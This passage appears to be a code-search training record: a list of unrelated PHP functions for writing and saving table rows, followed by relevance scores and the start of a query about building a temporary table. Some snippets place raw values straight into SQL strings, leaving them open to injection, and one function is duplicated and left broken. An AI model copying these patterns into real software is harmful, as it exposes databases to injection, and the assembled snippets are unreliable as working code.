\"\";\r\n if(isset($store_data[$i])){\r\n $this_value = $store_data[$i];\r\n }\r\n $rows[$row_nr][$columnames[$i]] = $this_value;\r\n }\r\n return $rows;\r\n}", "public function write_record($record, $rownum) {\n echo \\html_writer::start_tag('tr');\n foreach ($record as $cell) {\n echo \\html_writer::tag('td', $cell);\n }\n echo \\html_writer::end_tag('tr');\n }", "public function saveRowAction( $params )\r\n\t{\r\n\t\t$fields = [\r\n\t\t\t'IS_SYNCED' => 'N'\r\n\t\t];\r\n\r\n\t\tforeach (static::$letters as $cellName)\r\n\t\t{\r\n\t\t\t$cellName = 'CELL_'.$cellName;\r\n\r\n\t\t\tif ( array_key_exists($cellName, $params) )\r\n\t\t\t{\r\n\t\t\t\t$fields[ $cellName ] = $params[ $cellName ];\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif ( array_key_exists('ROW_NUMBER', $params) )\r\n\t\t{\r\n\t\t\t$fields['ROW_NUMBER'] = (int) $params['ROW_NUMBER'];\r\n\t\t}\r\n\r\n\t\tif ( empty($fields['ROW_NUMBER']) )\r\n\t\t{\r\n\t\t\t$fields['ROW_NUMBER'] = Sheet\\Row::getLastRowNumber() + 1;\r\n\r\n\t\t\t$saveResult = Sheet\\DataTable::add($fields);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$saveResult = Sheet\\DataTable::update($fields['ROW_NUMBER'], $fields);\r\n\t\t}\r\n\r\n\t\tif ( !$saveResult->isSuccess() )\r\n\t\t{\r\n\t\t\tthrow new Rest\\RestException( implode(', ', $saveResult->getErrorMessages()));\r\n\t\t}\r\n\r\n\t\treturn true;\r\n\t}", "public function write(): void\n {\n $this->writeAndReturnAffectedNumber();\n }", "public function saveRow($data, $testColumns=\"\")\n\t{\n//\t\tif($this->offline) return;\n\n\t\t$table = $data[\"table\"];\n\t\t//1: get table and primary key column name\n\n\t\t$status = false;\n\t\tif($testColumns)\n\t\t\t$where = arrayCopyMultiple($data, $testColumns);\n\t\telse\n\t\t{\n\t\t\t$pk = $this->getPrimaryKey($table);\t\t\t\n\t\t\t$where = arrayCopyMultiple($data, $pk);\n\t\t\t//todo arrayUnsetMultiple\n\t\t\t$pkey=reset($pk);\n\t\t\t$updateValues = $data;\n\t\t\tunset($updateValues[$pkey]); //do not update pk value\n\t\t}\n\ndebug(\"saveRow\", $data);\ndebug(\"saveRow\", $where);\t\n\t\t//2: if where or pk provided in data: try to update row\n\t\tif($where)\n\t\t\t$status = $this->update($updateValues, $where);\n\t\t//3: if not updated: try to insert\n\t\tif(!$status)\n\t\t\t$status = $this->insert($data);\n\t\treturn $status;\n\t}", "abstract protected function write(array $record);", "private function processRow($row)\n {\n $dbTable = $this->osoby;\n $data = array(\n 'imie' => $row[0],\n 'nazwisko' => $row[1],\n 'stanowisko' => $row[2],\n 'umowa' => $row[3],\n 'dzial' => $row[4],\n 'email' => $row[5],\n 'notification_email' => $row[6],\n 'telefon_stacjonarny' => $row[7],\n 'telefon_komorkowy' => $row[8],\n 'generate_documents' => 1,\n 'login_do_systemu' => false,\n );\n $id = $dbTable->save($data);\n\n $modelDoc = Application_Service_Utilities::getModel('Doc');\n $modelDoc->clearDocs($id);\n\n $this->getRepository()->getOperation()->operationBegin(Application_Service_Repository::OPERATION_IMPORTANT);\n\n //$this->osoby->remove($id);\n\n $this->personsService->clearRoles($id);\n $this->personsService->clearKlucze($id);\n\n $this->getRepository()->getOperation()->operationComplete('zbiory.remove', $id);\n \n if (empty($id)) {\n throw new Exception('Error in inserting Row');\n try {\n $this->db->beginTransaction();\n\n $dbTable = $this->osoby;\n $data = array(\n 'imie' => $row[0],\n 'nazwisko' => $row[1],\n 'stanowisko' => $row[2],\n 'umowa' => $row[3],\n 'dzial' => $row[4],\n 'email' => $row[5],\n 'notification_email' => $row[6],\n 'telefon_stacjonarny' => $row[7],\n 'telefon_komorkowy' => $row[8],\n 'generate_documents' => 1,\n 'login_do_systemu' => false,\n );\n $id = $dbTable->save($data);\n\n $modelDoc = Application_Service_Utilities::getModel('Doc');\n $modelDoc->clearDocs($id);\n $this->getRepository()->getOperation()->operationBegin(Application_Service_Repository::OPERATION_IMPORTANT);\n\n //$this->osoby->remove($id);\n $this->personsService->clearRoles($id);\n $this->personsService->clearKlucze($id);\n\n $this->getRepository()->getOperation()->operationComplete('zbiory.remove', $id);\n\n // $this->getRepository()->getOperation()->operationComplete('osoby.update', $id, false);\n\n if (empty($id)) {\n throw new Exception('Error in inserting Row');\n }\n $this->db->commit();\n } catch (Exception $e) {\n Throw new Exception($e->getMessage(), 500, $e);\n }}\n return $id;\n }", "private function writeToCSV(array $row) {\n\t\tif (!$this->file) {\n\t\t\t$this->openFile();\n\t\t}\n\n\t\treturn fputcsv($this->file, $row);\n\t}", "abstract public function insert(string $table, array $row, array $options = []);", "function createRowJoined(&$table, $startIndex, $rowData) {\r\n\t\t\t$row = $table->addRow();\r\n\t\t\t//$row->setLanguage($this->getLanguage());\r\n\t\t\treset($rowData);\r\n\t\t\t$nr = $table->getColumnCount();\r\n\t\t\tfor ($i = 0; $i < $nr; $i++) {\r\n\t\t\t\t$index = $i + $startIndex;\r\n\t\t\t\t$val = $rowData[$index];\r\n\t\t\t\tif ($val !== null) {\r\n\t\t\t\t\t//$val = stripSlashes($val);\r\n\t\t\t\t\t$alias = $table->getAlias($i);\r\n\t\t\t\t\tif ($alias !== false) {\r\n\t\t\t\t\t\t$type = $table->getColumnType($alias);\r\n\r\n\t\t\t\t\t\t// Convert the value of the database to the correct PHP format\r\n\t\t\t\t\t\tswitch($type) {\r\n\t\t\t\t\t\t\tcase 'date': // 2003-09-23 21:04:23\r\n\t\t\t\t\t\t\t\tlist($date, $time) = explode(\" \", $val);\r\n\t\t\t\t\t\t\t\tlist($year, $month, $dayOfMonth) = explode(\"-\", $date);\r\n\t\t\t\t\t\t\t\tlist($hour, $minute, $second) = explode(\":\", $time);\r\n\t\t\t\t\t\t\t\t$dateTime = new LibDateTime($hour, $minute, $second, $month, $dayOfMonth, $year);\r\n\t\t\t\t\t\t\t\t$row->setValue($alias, $dateTime);\r\n\t\t\t\t\t\t\t\t//$row->setValue($alias, strToTime($val));\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\tcase 'time': // 21:04:23\r\n\t\t\t\t\t\t\t\tlist($hour, $minute, $second) = explode(\":\", $val);\r\n\t\t\t\t\t\t\t\t$dateTime = new LibDateTime($hour, $minute, $second);\r\n\t\t\t\t\t\t\t\t$row->setValue($alias, $dateTime);\r\n\t\t\t\t\t\t\t\t//$row->setValue($alias, strToTime($val));\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\tcase 'bool':\r\n\t\t\t\t\t\t\t\t$row->setValue($alias, ($val == \"yes\") ? true : false);\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\tcase 'enum':\r\n\t\t\t\t\t\t\t\t$row->setValue($alias, $table->getEnumAliasValue($alias, $val));\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t\t\t$row->setValue($alias, $val);\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t$row->setStored(); // tell that the data is in the database\r\n\t\t\treturn $row;\r\n\t\t}", "protected function writeHeadRow($fp) \n {\n fputcsv($fp, $this->getHeadRowValues(), self::DELIMITER, self::ENCLOSURE);\n }", "public function readFromRow( $row );", "public function insert($connection, $table, $rows);", "protected function _write() {\n\n if ( !empty( $this->rid ) && $this->rid instanceof ID ) {\n $this->cluster_id = $this->rid->cluster;\n $this->cluster_position = $this->rid->position;\n }\n\n $this->record->setRid( new ID( $this->cluster_id, $this->cluster_position ) );\n\n $this->_writeShort( $this->cluster_id );\n $this->_writeLong( $this->cluster_position );\n\n if( $this->_transport->getProtocolVersion() >= 23 ){\n $this->_writeBoolean( $this->update_content );\n }\n\n $this->_writeBytes( CSV::serialize( $this->record ) );\n $this->_writeInt( $this->record_version );\n $this->_writeChar( $this->record_type );\n $this->_writeBoolean( $this->mode );\n\n }", "protected function _writeTable(\\SetaPDF_Core_Writer_WriterInterface $writer, $tag) {}", "function setRowDatas(&$row) {\r\n\t\t/* for optimization reason, do not save row. save just needed parameters */\r\n\r\n\t\t//$this->_specific_data\t= isset($row->specific) ? $row->specific : '';\r\n\t}", "public function save()\n { \n return $this->checkForRows() ? $this->updateRow() : $this->insertRow();\n }", "public function addRow($row)\n {\n $this->rows[] = $row;\n }", "function table_table_row($values,$escape=false)\n{\n\t$cells=new ocp_tempcode();\n\tforeach ($values as $value)\n\t{\n\t\tif (($escape) && ((!is_object($value)) || ($value->pure_lang!==true)))\n\t\t\t$value=make_string_tempcode(escape_html(is_object($value)?$value->evaluate():$value));\n\n\t\t$cells->attach(do_template('TABLE_TABLE_ROW_CELL',array('_GUID'=>'700a982eb2262149295816ddee91b0e7','VALUE'=>$value)));\n\t}\n\n\treturn do_template('TABLE_TABLE_ROW',array('_GUID'=>'a4efacc07ecb165e37c355559f476ae9','CELLS'=>$cells));\n}", "private static function writeData($objPHPExcel,$columns,$row,$array,$total)\n {\n for ($i=0;$i<count($columns);$i++)\n {\n $objPHPExcel->getActiveSheet()->SetCellValue($columns[$i] . $row, $array[$i]);\n }\n\n // Write total for 4 quarters\n $objPHPExcel->getActiveSheet()->SetCellValue($columns[count($columns) - 1] . $row, $total);\n\n return true;\n }", "function updateTable($final_result){\n\t\t$where = '1';\n\t\t$this->delete($where);\n\n\t\t//update table\n\t\tforeach ($final_result as $key => $value) {\n\t\t\t$row = $this->createRow();\n\t\t\t$row->y =$key;\n\t\t\t$row->x = $value;\n\t\t\t$row->save();\n\t\t}\n\t}", "public function modify_row(&$p_arrRow)\n {\n ;\n }", "private function writeRow($row, $height, $xfIndex, $hidden = false, $level = 0): void\n {\n $record = 0x0208; // Record identifier\n $length = 0x0010; // Number of bytes to follow\n\n $colMic = 0x0000; // First defined column\n $colMac = 0x0000; // Last defined column\n $irwMac = 0x0000; // Used by Excel to optimise loading\n $reserved = 0x0000; // Reserved\n $grbit = 0x0000; // Option flags\n $ixfe = $xfIndex;\n\n if ($height < 0) {\n $height = null;\n }\n\n // Use writeRow($row, null, $XF) to set XF format without setting height\n if ($height !== null) {\n $miyRw = $height * 20; // row height\n } else {\n $miyRw = 0xff; // default row height is 256\n }\n\n // Set the options flags. fUnsynced is used to show that the font and row\n // heights are not compatible. This is usually the case for WriteExcel.\n // The collapsed flag 0x10 doesn't seem to be used to indicate that a row\n // is collapsed. Instead it is used to indicate that the previous row is\n // collapsed. The zero height flag, 0x20, is used to collapse a row.\n\n $grbit |= $level;\n if ($hidden === true) {\n $grbit |= 0x0030;\n }\n if ($height !== null) {\n $grbit |= 0x0040; // fUnsynced\n }\n if ($xfIndex !== 0xF) {\n $grbit |= 0x0080;\n }\n $grbit |= 0x0100;\n\n $header = pack('vv', $record, $length);\n $data = pack('vvvvvvvv', $row, $colMic, $colMac, $miyRw, $irwMac, $reserved, $grbit, $ixfe);\n $this->append($header . $data);\n }", "public function writeTmp($uid, $fid, $txt)\n {\n \t$time = time();\n $sql = \"INSERT INTO res_board_tmp values (:uid, :fid, :txt, :timeNow)\n ON DUPLICATE KEY\n UPDATE fid = :fid ,txt = :txt, create_time = :timeNow\";\n \n return $this->_wdb->query($sql, array('uid' => $uid, 'fid' => $fid, 'txt' => $txt, 'timeNow' => $time));\n }", "abstract public function transform(Row $row);", "public function setRow($row)\n {\n $this->row = $row;\n }", "public function testPerfWhenWritingOneMillionRowsCSV()\n {\n // getting current memory peak to avoid taking into account the memory used by PHPUnit\n $beforeMemoryPeakUsage = memory_get_peak_usage(true);\n\n $numRows = 1000000;\n $expectedMaxExecutionTime = 30; // 30 seconds\n $expectedMaxMemoryPeakUsage = 1 * 1024 * 1024; // 1MB in bytes\n $startTime = time();\n\n $fileName = 'csv_with_one_million_rows.csv';\n $this->createGeneratedFolderIfNeeded($fileName);\n $resourcePath = $this->getGeneratedResourcePath($fileName);\n\n $writer = WriterEntityFactory::createCSVWriter();\n $writer->openToFile($resourcePath);\n\n for ($i = 1; $i <= $numRows; $i++) {\n $writer->addRow(WriterEntityFactory::createRowFromArray([\"csv--{$i}1\", \"csv--{$i}2\", \"csv--{$i}3\"]));\n }\n\n $writer->close();\n\n $this->assertEquals($numRows, $this->getNumWrittenRows($resourcePath), \"The created CSV should contain $numRows rows\");\n\n $executionTime = time() - $startTime;\n $this->assertTrue($executionTime < $expectedMaxExecutionTime, \"Writing 1 million rows should take less than $expectedMaxExecutionTime seconds (took $executionTime seconds)\");\n\n $memoryPeakUsage = memory_get_peak_usage(true) - $beforeMemoryPeakUsage;\n $this->assertTrue($memoryPeakUsage < $expectedMaxMemoryPeakUsage, 'Writing 1 million rows should require less than ' . ($expectedMaxMemoryPeakUsage / 1024 / 1024) . ' MB of memory (required ' . round($memoryPeakUsage / 1024 / 1024, 2) . ' MB)');\n }", "public function addRow(array $row): bool\n {\n if ($this->hasHeaders && empty($this->headers)) {\n $this->setHeaders(array_keys($row));\n }\n\n $result = $this->getDocument()->fwriteCsv($row);\n\n if ($result === 0) {\n // @todo: handle error\n return false;\n }\n\n return true;\n }", "private function AddRow($row) {\n $this->_table .= $this->Tpl2HTML($this->_rowtpl, array('RowContent' => $row));\n $this->_rown++;\n }", "public function write()\n {\n if (!$this->fileExists) {\n throw new AccessLayerException(sprintf(\"Table file %s does not exists!\", $this->path));\n }\n\n file_put_contents($this->path, $this->data->write());\n }", "function insertRow($table, $names, $values) {\n return mysql_query(sprintf('INSERT INTO %s (`%s`) VALUES (\"%s\")', $table, $names, $values));\n }", "function buildTempTableFromData($uniqueId){\n\t\t//require_once($_SERVER['DOCUMENT_ROOT'] .\"/inc/php/classes/sql_safe.php\" );\n\t\t//Grab first row\n\t\t if(!isset($this->data[0])){\n\t\t \tthrow new Exception(\"Bad Data Format. Foxpro report needs an array of arrays\");\n\t\t }\n\t\t$firstRow = $this->data[0];\n\t\t$columns = array_keys($firstRow);\n\n\t\t//See the excel sheet in project files for an explanation of this logic.\n\t\t$paramLimit = 1500; //sqlsrv max escaped params is 2100. driver will throw an error if you exceed 2100.\n\t\t$rowCount = count($this->data);\n\t\t$columnCount = count($this->data[0]);\n\t\tif($columnCount > $paramLimit){\n\t\t\tthrow new Exception(\"Cannot insert more columns than the parameter limit! Column Count = {$columnCount}. Parameter Limit = {$paramLimit}.\");\n\t\t}\n\t\t$paramTotal = $columnCount*$rowCount;\n\t\t$groupsNeeded = ceil($paramTotal/$paramLimit);\n\t\t$chunkSize = floor($rowCount/$groupsNeeded);\n\t\t$chunks = array_chunk($this->data,$chunkSize);\n\n\t\t$tableName = \"tmp_foxpro_autogen_\".$uniqueId;\n\n\t\t$columnSqlArray = array();\n\t\tforeach ($columns as $column) {\n\t\t\t$columnSqlArray[] = \"[{$column}] [varchar](MAX) NULL\";\n\t\t}\n\t\t$tableNameQuery = \"FWE_DEV..[{$tableName}]\";\n\t\t$createQuery = \"CREATE TABLE {$tableNameQuery} (\" . implode(\",\", $columnSqlArray) . \")\";\n\t\t$this->mssqlHelperInstance->query($createQuery);\n\n\t\t$dbClass = get_class($this->mssqlHelperInstance);\n\t\tif ($dbClass == 'mssql_helper') {\n\t\t\trequire_once($_SERVER['DOCUMENT_ROOT'] . '/inc/php/classes/sqlsrv_helper.php');\n\t\t\t$insertInstance = new sqlsrv_helper('m2m');\n\t\t} else {\n\t\t\t$insertInstance = $this->mssqlHelperInstance;\n\t\t}\n\n\t\tforeach($chunks as $chunk) {\n\n\t\t\t$insertSqlArray = array();\n\t\t\t$queryValues = array();\n\t\t\tforeach ($chunk as $row) {\n\t\t\t\t$values = array_values($row);\n\t\t\t\t$rowArray = array();\n\t\t\t\tforeach ($values as $value) {\n\t\t\t\t\t$rowArray[] = \"?\";\n\t\t\t\t\t$queryValues[] = (string)$value;\n\t\t\t\t}\n\t\t\t\t$insertSqlArray[] = \"(\" . implode(\",\", $rowArray) . \")\";\n\t\t\t}\n\t\t\t$insertQuery = \"INSERT INTO {$tableNameQuery} (\" . implode(\",\", $columns) . \") VALUES \" . implode(\",\", $insertSqlArray) . \"\";\n\n\t\t\t$insertInstance->query($insertQuery, $queryValues);\n\t\t}\n\t\t$this->tableName = $tableNameQuery;\n\t}", "function appendWorksheetRow($row, $service, $config)\n{\n\t// set target spreadsheet and worksheet\n\t$ssKey = $config['ssid'];\n\t$wsKey = $config['wsid'];\n\n\ttry {\n\t\t// insert new row\n\t\t$service->insertRow($row, $ssKey, $wsKey);\n\t}\n\tcatch (Exception $e) {\n\t\tdie('ERROR: ' . $e->getMessage());\n\t}\t\n}", "public function insert_student($row)\n\t\t{\n\t\t\t$this->conn->insert($this->create_student($row));\n\t\t}", "function _create_tmp_table()\n {\n //$this->tmp_search_table = (string)'_'.$GLOBALS['B']->util->unique_crc32();\n $this->tmp_search_table = \"earchvetmp\";\n $sql = \"CREATE TEMPORARY TABLE {$this->tmp_search_table} (mid INT NOT NULL default 0)\";\n \n $result = $GLOBALS['B']->db->query($sql);\n \n if (DB::isError($result)) \n {\n trigger_error($result->getMessage().\"\\n\\nSQL: \".$sql.\"\\n\\nFILE: \".__FILE__.\"\\nLINE: \".__LINE__, E_USER_ERROR);\n return FALSE;\n }\n }", "function write_transfer_history($transfer){\r\n\tforeach($transfer as $key => $value){\r\n\t\t$values[] = array(\"col\" => $key, \"value\" => $value);\r\n\t}\r\n\t$ID = uli_insert_record('transfers', $values);\r\n\tif ($ID){return TRUE;}\r\n\telse {return FALSE;}\r\n}", "function s_m_put_txt_data_store($model_name, $filename, $rows, $columnames){\r\n // open in write mode\r\n $open = @fopen($filename, \"w\");\r\n if(!$open){\r\n $reply[\"alert\"][\"text\"] = \"System error (f102, $filename)\";\r\n f_return_json($reply);\r\n }\r\n // write the column names\r\n fwrite($open, implode(\";\", $columnames) . \"\\r\\n\");\r\n for($k = 0; $k < count($columnames); $k++){\r\n // must be trimt\r\n $columnames[$k] = trim($columnames[$k]);\r\n }\r\n // write the rows\r\n for($r = 0; $r < count($rows); $r++){\r\n for($k = 0; $k < count($columnames); $k++){\r\n // replace ; by |, needed for storing in csv files\r\n $rows[$r][$columnames[$k]] = str_replace(\";\", \"|\", $rows[$r][$columnames[$k]]);\r\n }\r\n fwrite($open, implode(\";\", $rows[$r]) . \"\\r\\n\");\r\n }\r\n fclose($open);\r\n}", "public function setRow($row)\n\t{\n\t\t$this->cells[] = new Hypertable_ThriftGen_Cell(array('key' => new Hypertable_ThriftGen_Key( array('row'=> $row, 'flag' => 0))));\n\t\treturn $this;\n\t}", "public function prepareSave($row, $postData)\n {\n }", "abstract protected function createEntity(array $row);", "function _dummy($row) {\n\t\treturn $row;\n\t}", "protected function updateRow()\n { \n $tableName = $this->getTableName($this->className);\n $assignedValues = $this->getAssignedValues();\n $updateDetails = [];\n\n for ($i = 0; $i < count($assignedValues['columns']); $i++) { \n array_push($updateDetails, $assignedValues['columns'][$i] .' =\\''. $assignedValues['values'][$i].'\\'');\n }\n\n $connection = Connection::connect();\n\n $allUpdates = implode(', ' , $updateDetails);\n $update = $connection->prepare('update '.$tableName.' set '. $allUpdates.' where id='.$this->resultRows[0]['id']);\n \n if ($update->execute()) { \n return 'Row updated';\n } else { \n throw new Exception(\"Unable to update row\"); \n }\n }", "function tablerow_close() {\n $this->doc .= DOKU_LF.DOKU_TAB.'</tr>'.DOKU_LF;\n }", "public function testSaveDataTableNoRows() {\r\n\t\t$datatable = new avorium_core_data_DataTable(0, 4);\r\n\t\t$datatable->setHeader(0, 'UUID');\r\n\t\t$datatable->setHeader(1, 'BOOLEAN_VALUE');\r\n\t\t$datatable->setHeader(2, 'INT_VALUE');\r\n\t\t$datatable->setHeader(3, 'STRING_VALUE');\r\n\t\t$this->getPersistenceAdapter()->saveDataTable('POTEST', $datatable);\r\n\t}", "abstract public function closeTableHead();", "private function db_write($table, $col, $val) {\r\n $q = \"INSERT INTO $table ($col) VALUES ($val)\";\r\n // DO SOMETHING TO WRITE DOWN THE DATA\r\n return true;\r\n }", "function write($id, $data, $next);", "public function createTemp($data)\n {\n $oracle = $this->load->database('oracle_dev',TRUE);\n $oracle->trans_start();\n $oracle->insert('CREATE_MO_ORDER_TR_TEMP',$data);\n $oracle->trans_complete();\n // $this->oracle = $this->load->database('oracle', true);\n // $sql = \"INSERT INTO CREATE_MO_ORDER_TR_TEMP \n // (NO_URUT,INVENTORY_ITEM_ID,QUANTITY,UOM,IP_ADDRESS,ORDER_NUMBER)\n // VALUES ('$data[NO_URUT]','$data[INVENTORY_ITEM_ID]','$data[QUANTITY]','$data[UOM]','$data[IP_ADDRESS]','$data[ORDER_NUMBER]');\";\n // $query = $this->oracle->query($sql);\n }", "function createTable($name, $rows);", "public function rowsBackup()\n {\n $this->rowsBackup = $this->pObj->rows;\n }", "function editRow($table_name, $key_column_name, $key_value, $row)\n {\n foreach($row as $column_name=>$column_value)\n {\n $this->editValue(\n $table_name,\n $key_column_name,\n $key_value,\n $column_name,\n $column_value);\n }\n }", "private function extractRows()\n {\n $this->setHeader($this->temp);\n $this->setRows($this->temp);\n }", "public function insertRow($row_start, $row_end) {\n\t}", "public function addRow($row) {\n array_push($this->rows, $row);\n }", "private function _createTemporaryTable(){\n\n $tempTable = $this->getTemporaryTablename();\n $this->_liquetDatabase->query(\"DROP TABLE IF EXISTS {$tempTable}\")->run();\n $this->_liquetDatabase->query(\"CREATE TEMPORARY TABLE {$tempTable} LIKE {$this->_tablename}\")->run();\n\n return $tempTable;\n }", "public function setLastRowInsert($row){\r\n $this->lastRowInsert = $row;\r\n }", "public function modify_row(&$p_row)\n {\n global $g_comp_database;\n\n $p_row['object'] = isys_factory::get_instance('isys_ajax_handler_quick_info')\n ->get_quick_info(\n $p_row['isys_connection__isys_obj__id'],\n isys_cmdb_dao::instance($g_comp_database)\n ->get_obj_name_by_id_as_string($p_row['isys_connection__isys_obj__id']),\n C__LINK__OBJECT\n );\n }" ]
[ "0.6111535", "0.5996051", "0.5985546", "0.55732423", "0.5492062", "0.5441002", "0.5352309", "0.530115", "0.5299427", "0.52712333", "0.5239521", "0.5229508", "0.51897144", "0.51842463", "0.51817966", "0.51458013", "0.5140613", "0.5121955", "0.5104666", "0.5090746", "0.5072563", "0.50716287", "0.506117", "0.5051381", "0.50206405", "0.5007055", "0.4996208", "0.49682093", "0.49604306", "0.49525923", "0.49511993", "0.49286512", "0.4926588", "0.49194917", "0.49125147", "0.49110535", "0.48889324", "0.48814183", "0.4874052", "0.4858347", "0.48422188", "0.4839358", "0.4830779", "0.48302093", "0.48226997", "0.48073587", "0.4803924", "0.4795091", "0.47917295", "0.4791424", "0.47877362", "0.47876617", "0.47832727", "0.47790718", "0.47588143", "0.47497237", "0.4737858", "0.4732989", "0.4730167", "0.4726556", "0.47234583", "0.4700205", "0.4688383", "0.46839967", "0.46817154", "0.46543396", "0.4649724", "0.4645823", "0.46342963", "0.46275154", "0.46262735", "0.46237582", "0.4622663", "0.46215826", "0.46184564", "0.46182266", "0.46181387", "0.46043968", "0.4598335", "0.45908958", "0.45894927", "0.45890507", "0.45799547", "0.45727104", "0.45665717", "0.4559987", "0.45564863", "0.45482516", "0.45472965", "0.45439318", "0.45269808", "0.45264283", "0.4521982", "0.45218018", "0.45209372", "0.4520637", "0.4518043", "0.45176613", "0.45151097", "0.45103464", "0.45012304" ]
0.0
-1
Create a temporary table and try to use the headlines for rownames
protected function generateTmpTable($firstLine) { $arrHeadline = $this->getHeadlines($firstLine); // Drop existing temp table if($this->Database->tableExists($this->tmpTbl)) { $this->Database->executeUncached('DROP TABLE '.$this->tmpTbl); $this->msg('Table '.$this->tmpTbl.' dropped.','info'); } // generate temp table $strQry = 'CREATE TABLE `'.$this->tmpTbl.'` ('; $strQry .= '`id` int(10) unsigned NOT NULL auto_increment,'; foreach($arrHeadline as $row) { $strQry .= '`'.$row.'` text NULL,'; } $strQry .= 'PRIMARY KEY (`id`)'; $strQry .= ') ENGINE=MyISAM DEFAULT CHARSET=utf8;'; $this->Database->executeUncached($strQry); $this->msg('Table '.$this->tmpTbl.' created.','info'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function createDummyTable() {}", "private function _createTemporaryTable(){\n\n $tempTable = $this->getTemporaryTablename();\n $this->_liquetDatabase->query(\"DROP TABLE IF EXISTS {$tempTable}\")->run();\n $this->_liquetDatabase->query(\"CREATE TEMPORARY TABLE {$tempTable} LIKE {$this->_tablename}\")->run();\n\n return $tempTable;\n }", "private function populateDummyTable() {}", "function verifyCreateTableWithHeadRow(){\n $WIKI_TABLE_ROW = 3;\n $WIKI_TABLE_COL = \"4\";\n parent::doExpandAdvanceSection();\n $this->type(TEXT_EDITOR, \"\");\n $this->click(LINK_ADDTABLE);\n $this->click(CHK_BOARDER);\n $this->type(TEXT_ROW, $WIKI_TABLE_ROW);\n $this->type(TEXT_COL, $WIKI_TABLE_COL);\n $this->click(BUTTON_INSERTABLE);\n $this->click(BUTTON_PREVIEW);\n $this->waitForPageToLoad((WIKI_TEST_WAIT_TIME));\n try {\n $WIKI_TABLE_ROW = $WIKI_TABLE_ROW+1;\n $this->assertTrue($this->isElementPresent(TEXT_TABLEID_OTHER .\n TEXT_VALIDATE_TABLE_PART1 . $WIKI_TABLE_ROW .\n TEXT_VALIDATE_TABLE_PART2 . $WIKI_TABLE_COL .\n TEXT_VALIDATE_TABLE_PART3));\n } catch (PHPUnit_Framework_AssertionFailedError $e) {\n parent::doCreateScreenShot(__FUNCTION__);\n array_push($this->verificationErrors, $e->toString());\n }\n }", "private function createTempTable()\n\t{\n\t\t// generate a temp table name\n\t\t$this->tempTable = 'crawl_index_temp';\n\n\t\t// ensure the temp table doesnt exist\n\t\t$sql = sprintf('DROP TABLE IF EXISTS %s', $this->tempTable);\n\t\tmysql_query($sql, $this->db);\n\n\t\t// create the table and give an exclusive write lock\n\t\t$sql = sprintf('CREATE TEMPORARY TABLE %s (page_id INT(10) UNSIGNED NOT NULL) ENGINE=MEMORY', $this->tempTable);\n\t\tmysql_query($sql, $this->db);\n\t}", "function table_table_header_row($values)\n{\n\t$cells=new ocp_tempcode();\n\tforeach ($values as $value)\n\t{\n\t\t$cells->attach(do_template('TABLE_TABLE_HEADER_ROW_CELL',array('_GUID'=>'5002f54ccddf7259f3460d8c0759fd1a','VALUE'=>$value)));\n\t}\n\n\treturn do_template('TABLE_TABLE_HEADER_ROW',array('_GUID'=>'2f4095b8d30f50f34fdd6acf8dd566b1','CELLS'=>$cells));\n}", "abstract public function openTableHead();", "function createTable($name, $rows);", "protected abstract function createTestTable();", "function table_begin($p_headrow, $p_class = '', $p_tr_attr = '', $p_th_attr = array()){\n\techo '<table class=\"table ' . $p_class . '\">';\n\techo '<thead>';\n\techo '<tr ' . $p_tr_attr . '>';\n\t\n\tfor($t_i=0; $t_i<count($p_headrow); $t_i++)\n\t\techo '<th ' . (isset($p_th_attr[$t_i]) ? $p_th_attr[$t_i] : '') . '>' . $p_headrow[$t_i] . '</th>';\n\n\techo '</tr>';\n\techo '</thead>';\n}", "private function prepareTables() {}", "private function prepare_table()\n {\n global $g_dirs;\n\n $l_dao = new isys_cmdb_dao($this->database);\n $l_quicky = new isys_ajax_handler_quick_info();\n\n $l_table = \"<table width=\\\"100%\\\" class=\\\"report_listing\\\">\";\n\n foreach ($this->m_its_arr as $l_obj_id => $l_title) {\n unset($this->m_obj_arr);\n $l_table .= \"<tr style=\\\"\\\"><td onclick=\\\"collapse_it_service('\" . $l_obj_id . \"')\\\" id=\\\"\" . $l_obj_id . \"\\\" class=\\\"report_listing\\\"><img id=\\\"\" . $l_obj_id .\n \"_plusminus\\\" src=\\\"\" . $g_dirs[\"images\"] . \"dtree/nolines_plus.gif\\\" class=\\\"vam\\\">\";\n\n $l_table .= $l_quicky->get_quick_info($l_obj_id, $l_dao->get_obj_name_by_id_as_string($l_obj_id), C__LINK__OBJECT);\n\n $l_table .= \"<img src=\\\"\" . $g_dirs[\"images\"] . \"ajax-loading.gif\\\" id=\\\"ajax_loading_view_\" . $l_obj_id . \"\\\" style=\\\"display:none;\\\" class=\\\"vam\\\" /></td></tr>\";\n\n $l_table .= \"<tr id=\\\"childs_\" . $l_obj_id . \"\\\" style=\\\"display:none;\\\"><td><div id=\\\"childs_content_\" . $l_obj_id . \"\\\"></div>\";\n $l_table .= \"</td></tr>\";\n }\n\n $l_table .= \"</table>\";\n\n return $l_table;\n }", "function _create_tmp_table()\n {\n //$this->tmp_search_table = (string)'_'.$GLOBALS['B']->util->unique_crc32();\n $this->tmp_search_table = \"earchvetmp\";\n $sql = \"CREATE TEMPORARY TABLE {$this->tmp_search_table} (mid INT NOT NULL default 0)\";\n \n $result = $GLOBALS['B']->db->query($sql);\n \n if (DB::isError($result)) \n {\n trigger_error($result->getMessage().\"\\n\\nSQL: \".$sql.\"\\n\\nFILE: \".__FILE__.\"\\nLINE: \".__LINE__, E_USER_ERROR);\n return FALSE;\n }\n }", "public static function create_table_head()\n\t{\n\t\t\n\t\tif (!static::$columns)\n\t\t{\n\t\t\treturn static::$template['wrapper_start'].'<tr><th>No columns config</th></tr>'.static::$template['wrapper_end'];\n\t\t}\n\n\t\t$table_head = static::$template['wrapper_start'];\n\t\t$table_head .= '<tr>';\n\t\t\n\t\tforeach(static::$columns as $column)\n\t\t{\n\t\t\t$sort_key \t= (is_array($column) ? isset($column[1]) ? $column[1] : strtolower($column[0]) : $column);\n\t\t\t$col_attr\t= (is_array($column) && isset($column[2]) ? $column[2] : 